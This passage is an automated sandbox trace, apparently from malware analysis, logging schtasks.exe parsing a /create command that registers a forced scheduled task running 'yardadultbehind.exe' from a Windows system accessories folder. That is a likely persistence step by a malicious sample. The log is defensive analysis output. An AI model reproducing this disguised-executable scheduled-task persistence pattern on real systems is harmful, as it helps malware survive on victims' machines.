lstrlenW (lpString="|tr|") returned 4 [0161.269] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0161.269] SetLastError (dwErrCode=0x490) [0161.269] lstrlenW (lpString="showsid") returned 7 [0161.269] lstrlenW (lpString="showsid") returned 7 [0161.269] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.269] lstrlenW (lpString="tr") returned 2 [0161.269] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.269] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|showsid|") returned 9 [0161.269] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|tr|") returned 4 [0161.269] lstrlenW (lpString="|showsid|") returned 9 [0161.269] lstrlenW (lpString="|tr|") returned 4 [0161.270] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0161.270] SetLastError (dwErrCode=0x490) [0161.270] SetLastError (dwErrCode=0x490) [0161.270] SetLastError (dwErrCode=0x0) [0161.270] lstrlenW (lpString="/tr") returned 3 [0161.270] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0161.270] SetLastError (dwErrCode=0x490) [0161.270] SetLastError (dwErrCode=0x0) [0161.270] lstrlenW (lpString="/tr") returned 3 [0161.270] GetProcessHeap () returned 0x3f0000 [0161.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8) returned 0x40c320 [0161.270] GetProcessHeap () returned 0x3f0000 [0161.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cd70 [0161.270] SetLastError (dwErrCode=0x0) [0161.270] SetLastError (dwErrCode=0x0) [0161.270] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.270] lstrlenW (lpString="-/") returned 2 [0161.270] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0161.270] SetLastError (dwErrCode=0x490) [0161.270] SetLastError (dwErrCode=0x490) [0161.270] SetLastError (dwErrCode=0x0) [0161.270] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.270] StrChrIW (lpStart="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'", wMatch=0x3a) returned=":\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'" [0161.270] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.270] GetProcessHeap () returned 0x3f0000 [0161.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40c340 [0161.270] _memicmp (_Buf1=0x40c340, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.270] GetProcessHeap () returned 0x3f0000 [0161.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40c360 [0161.270] GetProcessHeap () returned 0x3f0000 [0161.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40c380 [0161.270] _memicmp (_Buf1=0x40c380, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.270] GetProcessHeap () returned 0x3f0000 [0161.270] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x8a) returned 0x40c3a0 [0161.270] SetLastError (dwErrCode=0x7a) [0161.270] SetLastError (dwErrCode=0x0) [0161.271] SetLastError (dwErrCode=0x0) [0161.271] lstrlenW (lpString="'C") returned 2 [0161.271] lstrlenW (lpString="-/") returned 2 [0161.271] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0161.271] SetLastError (dwErrCode=0x490) [0161.271] SetLastError (dwErrCode=0x490) [0161.271] SetLastError (dwErrCode=0x0) [0161.271] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.271] GetProcessHeap () returned 0x3f0000 [0161.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x88) returned 0x40c440 [0161.271] GetProcessHeap () returned 0x3f0000 [0161.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cda0 [0161.271] SetLastError (dwErrCode=0x0) [0161.271] SetLastError (dwErrCode=0x0) [0161.271] lstrlenW (lpString="/f") returned 2 [0161.271] lstrlenW (lpString="-/") returned 2 [0161.271] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.271] lstrlenW (lpString="?") returned 1 [0161.271] lstrlenW (lpString="?") returned 1 [0161.271] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.271] lstrlenW (lpString="f") returned 1 [0161.271] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.271] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|?|") returned 3 [0161.271] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|f|") returned 3 [0161.271] lstrlenW (lpString="|?|") returned 3 [0161.271] lstrlenW (lpString="|f|") returned 3 [0161.271] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0161.271] SetLastError (dwErrCode=0x490) [0161.271] lstrlenW (lpString="create") returned 6 [0161.271] lstrlenW (lpString="create") returned 6 [0161.271] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.271] lstrlenW (lpString="f") returned 1 [0161.271] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.271] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|create|") returned 8 [0161.271] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|f|") returned 3 [0161.271] lstrlenW (lpString="|create|") returned 8 [0161.272] lstrlenW (lpString="|f|") returned 3 [0161.272] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0161.272] SetLastError (dwErrCode=0x490) [0161.272] lstrlenW (lpString="delete") returned 6 [0161.272] lstrlenW (lpString="delete") returned 6 [0161.272] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.272] lstrlenW (lpString="f") returned 1 [0161.272] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.272] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|delete|") returned 8 [0161.272] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|f|") returned 3 [0161.272] lstrlenW (lpString="|delete|") returned 8 [0161.272] lstrlenW (lpString="|f|") returned 3 [0161.272] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0161.272] SetLastError (dwErrCode=0x490) [0161.272] lstrlenW (lpString="query") returned 5 [0161.272] lstrlenW (lpString="query") returned 5 [0161.272] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.272] lstrlenW (lpString="f") returned 1 [0161.272] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.272] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|query|") returned 7 [0161.272] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|f|") returned 3 [0161.272] lstrlenW (lpString="|query|") returned 7 [0161.272] lstrlenW (lpString="|f|") returned 3 [0161.272] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0161.272] SetLastError (dwErrCode=0x490) [0161.272] lstrlenW (lpString="change") returned 6 [0161.272] lstrlenW (lpString="change") returned 6 [0161.272] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.272] lstrlenW (lpString="f") returned 1 [0161.272] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.272] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|change|") returned 8 [0161.272] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|f|") returned 3 [0161.272] lstrlenW (lpString="|change|") returned 8 [0161.272] lstrlenW (lpString="|f|") returned 3 [0161.273] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0161.273] SetLastError (dwErrCode=0x490) [0161.273] lstrlenW (lpString="run") returned 3 [0161.273] lstrlenW (lpString="run") returned 3 [0161.273] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.273] lstrlenW (lpString="f") returned 1 [0161.273] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.273] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|run|") returned 5 [0161.273] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|f|") returned 3 [0161.273] lstrlenW (lpString="|run|") returned 5 [0161.273] lstrlenW (lpString="|f|") returned 3 [0161.273] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0161.273] SetLastError (dwErrCode=0x490) [0161.273] lstrlenW (lpString="end") returned 3 [0161.273] lstrlenW (lpString="end") returned 3 [0161.273] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.273] lstrlenW (lpString="f") returned 1 [0161.273] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.273] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|end|") returned 5 [0161.273] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|f|") returned 3 [0161.273] lstrlenW (lpString="|end|") returned 5 [0161.273] lstrlenW (lpString="|f|") returned 3 [0161.273] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0161.273] SetLastError (dwErrCode=0x490) [0161.273] lstrlenW (lpString="showsid") returned 7 [0161.273] lstrlenW (lpString="showsid") returned 7 [0161.273] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.273] lstrlenW (lpString="f") returned 1 [0161.273] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.273] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|showsid|") returned 9 [0161.273] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f518 | out: _Buffer="|f|") returned 3 [0161.273] lstrlenW (lpString="|showsid|") returned 9 [0161.273] lstrlenW (lpString="|f|") returned 3 [0161.273] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0161.274] SetLastError (dwErrCode=0x490) [0161.274] SetLastError (dwErrCode=0x490) [0161.274] SetLastError (dwErrCode=0x0) [0161.274] lstrlenW (lpString="/f") returned 2 [0161.274] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0161.274] SetLastError (dwErrCode=0x490) [0161.274] SetLastError (dwErrCode=0x0) [0161.274] lstrlenW (lpString="/f") returned 2 [0161.274] GetProcessHeap () returned 0x3f0000 [0161.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x6) returned 0x40c4d0 [0161.274] GetProcessHeap () returned 0x3f0000 [0161.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cdd0 [0161.274] SetLastError (dwErrCode=0x0) [0161.274] GetProcessHeap () returned 0x3f0000 [0161.274] GetProcessHeap () returned 0x3f0000 [0161.274] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c210) returned 1 [0161.274] GetProcessHeap () returned 0x3f0000 [0161.274] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c210) returned 0x8 [0161.274] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c210 | out: hHeap=0x3f0000) returned 1 [0161.274] GetProcessHeap () returned 0x3f0000 [0161.274] GetProcessHeap () returned 0x3f0000 [0161.274] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc20) returned 1 [0161.274] GetProcessHeap () returned 0x3f0000 [0161.274] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cc20) returned 0x20 [0161.275] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc20 | out: hHeap=0x3f0000) returned 1 [0161.275] GetProcessHeap () returned 0x3f0000 [0161.275] GetProcessHeap () returned 0x3f0000 [0161.275] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc50) returned 1 [0161.275] GetProcessHeap () returned 0x3f0000 [0161.275] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cc50) returned 0x22 [0161.275] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc50 | out: hHeap=0x3f0000) returned 1 [0161.275] GetProcessHeap () returned 0x3f0000 [0161.275] GetProcessHeap () returned 0x3f0000 [0161.275] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc80) returned 1 [0161.275] GetProcessHeap () returned 0x3f0000 [0161.275] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cc80) returned 0x20 [0161.275] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc80 | out: hHeap=0x3f0000) returned 1 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2a0) returned 1 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c2a0) returned 0x8 [0161.276] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2a0 | out: hHeap=0x3f0000) returned 1 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ccb0) returned 1 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ccb0) returned 0x20 [0161.276] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ccb0 | out: hHeap=0x3f0000) returned 1 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2c0) returned 1 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.276] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c2c0) returned 0xe [0161.276] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2c0 | out: hHeap=0x3f0000) returned 1 [0161.276] GetProcessHeap () returned 0x3f0000 [0161.277] GetProcessHeap () returned 0x3f0000 [0161.277] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cce0) returned 1 [0161.277] GetProcessHeap () returned 0x3f0000 [0161.277] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cce0) returned 0x20 [0161.277] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cce0 | out: hHeap=0x3f0000) returned 1 [0161.277] GetProcessHeap () returned 0x3f0000 [0161.277] GetProcessHeap () returned 0x3f0000 [0161.277] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2e0) returned 1 [0161.277] GetProcessHeap () returned 0x3f0000 [0161.277] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c2e0) returned 0x8 [0161.277] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2e0 | out: hHeap=0x3f0000) returned 1 [0161.277] GetProcessHeap () returned 0x3f0000 [0161.277] GetProcessHeap () returned 0x3f0000 [0161.277] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd10) returned 1 [0161.277] GetProcessHeap () returned 0x3f0000 [0161.277] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd10) returned 0x20 [0161.278] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd10 | out: hHeap=0x3f0000) returned 1 [0161.278] GetProcessHeap () returned 0x3f0000 [0161.278] GetProcessHeap () returned 0x3f0000 [0161.278] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c300) returned 1 [0161.278] GetProcessHeap () returned 0x3f0000 [0161.278] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c300) returned 0x4 [0161.278] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c300 | out: hHeap=0x3f0000) returned 1 [0161.278] GetProcessHeap () returned 0x3f0000 [0161.278] GetProcessHeap () returned 0x3f0000 [0161.278] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd40) returned 1 [0161.278] GetProcessHeap () returned 0x3f0000 [0161.278] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd40) returned 0x20 [0161.279] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd40 | out: hHeap=0x3f0000) returned 1 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c320) returned 1 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c320) returned 0x8 [0161.279] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c320 | out: hHeap=0x3f0000) returned 1 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd70) returned 1 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd70) returned 0x20 [0161.279] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd70 | out: hHeap=0x3f0000) returned 1 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c440) returned 1 [0161.279] GetProcessHeap () returned 0x3f0000 [0161.279] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c440) returned 0x88 [0161.280] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c440 | out: hHeap=0x3f0000) returned 1 [0161.280] GetProcessHeap () returned 0x3f0000 [0161.280] GetProcessHeap () returned 0x3f0000 [0161.280] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cda0) returned 1 [0161.280] GetProcessHeap () returned 0x3f0000 [0161.280] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cda0) returned 0x20 [0161.280] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cda0 | out: hHeap=0x3f0000) returned 1 [0161.280] GetProcessHeap () returned 0x3f0000 [0161.280] GetProcessHeap () returned 0x3f0000 [0161.280] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c4d0) returned 1 [0161.280] GetProcessHeap () returned 0x3f0000 [0161.280] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c4d0) returned 0x6 [0161.280] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c4d0 | out: hHeap=0x3f0000) returned 1 [0161.280] GetProcessHeap () returned 0x3f0000 [0161.280] GetProcessHeap () returned 0x3f0000 [0161.280] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cdd0) returned 1 [0161.281] GetProcessHeap () returned 0x3f0000 [0161.281] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cdd0) returned 0x20 [0161.281] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cdd0 | out: hHeap=0x3f0000) returned 1 [0161.281] GetProcessHeap () returned 0x3f0000 [0161.281] GetProcessHeap () returned 0x3f0000 [0161.281] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405480) returned 1 [0161.281] GetProcessHeap () returned 0x3f0000 [0161.281] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405480) returned 0x18 [0161.281] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405480 | out: hHeap=0x3f0000) returned 1 [0161.281] SetLastError (dwErrCode=0x0) [0161.281] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0161.281] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0161.281] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0161.281] VerifyVersionInfoW (in: lpVersionInformation=0x27c570, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27c570) returned 1 [0161.282] SetLastError (dwErrCode=0x0) [0161.282] lstrlenW (lpString="create") returned 6 [0161.282] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0161.282] SetLastError (dwErrCode=0x490) [0161.282] SetLastError (dwErrCode=0x0) [0161.282] lstrlenW (lpString="create") returned 6 [0161.282] GetProcessHeap () returned 0x3f0000 [0161.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cdd0 [0161.282] GetProcessHeap () returned 0x3f0000 [0161.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40d510 [0161.282] _memicmp (_Buf1=0x40d510, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.282] GetProcessHeap () returned 0x3f0000 [0161.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x16) returned 0x40d530 [0161.282] SetLastError (dwErrCode=0x0) [0161.282] _memicmp (_Buf1=0x40baa0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.282] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40bc40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0161.282] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0161.283] GetProcessHeap () returned 0x3f0000 [0161.283] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x74e) returned 0x40dce0 [0161.283] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x40dce0 | out: lpData=0x40dce0) returned 1 [0161.283] VerQueryValueW (in: pBlock=0x40dce0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27c658, puLen=0x27c6c0 | out: lplpBuffer=0x27c658*=0x40e07c, puLen=0x27c6c0) returned 1 [0161.283] _memicmp (_Buf1=0x40baa0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.283] _vsnwprintf (in: _Buffer=0x40bc40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27c638 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0161.283] VerQueryValueW (in: pBlock=0x40dce0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27c6c8, puLen=0x27c6b8 | out: lplpBuffer=0x27c6c8*=0x40dea8, puLen=0x27c6b8) returned 1 [0161.283] lstrlenW (lpString="schtasks.exe") returned 12 [0161.283] lstrlenW (lpString="schtasks.exe") returned 12 [0161.283] lstrlenW (lpString=".EXE") returned 4 [0161.283] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0161.283] lstrlenW (lpString="schtasks.exe") returned 12 [0161.283] lstrlenW (lpString=".EXE") returned 4 [0161.283] lstrlenW (lpString="schtasks") returned 8 [0161.283] lstrlenW (lpString="/create") returned 7 [0161.283] _memicmp (_Buf1=0x40baa0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.283] _vsnwprintf (in: _Buffer=0x40bc40, _BufferCount=0x19, _Format="%s %s", _ArgList=0x27c638 | out: _Buffer="schtasks /create") returned 16 [0161.284] _memicmp (_Buf1=0x40bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.284] GetProcessHeap () returned 0x3f0000 [0161.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x20) returned 0x40cda0 [0161.284] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.284] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0161.284] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0161.284] GetProcessHeap () returned 0x3f0000 [0161.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x30) returned 0x407ae0 [0161.284] _vsnwprintf (in: _Buffer=0x40c040, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27c638 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0161.284] GetProcessHeap () returned 0x3f0000 [0161.284] GetProcessHeap () returned 0x3f0000 [0161.284] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40dce0) returned 1 [0161.284] GetProcessHeap () returned 0x3f0000 [0161.284] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40dce0) returned 0x74e [0161.284] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40dce0 | out: hHeap=0x3f0000) returned 1 [0161.284] SetLastError (dwErrCode=0x0) [0161.284] GetThreadLocale () returned 0x409 [0161.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="create") returned 6 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="?") returned 1 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="s") returned 1 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="u") returned 1 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="p") returned 1 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="ru") returned 2 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="rp") returned 2 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="sc") returned 2 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, 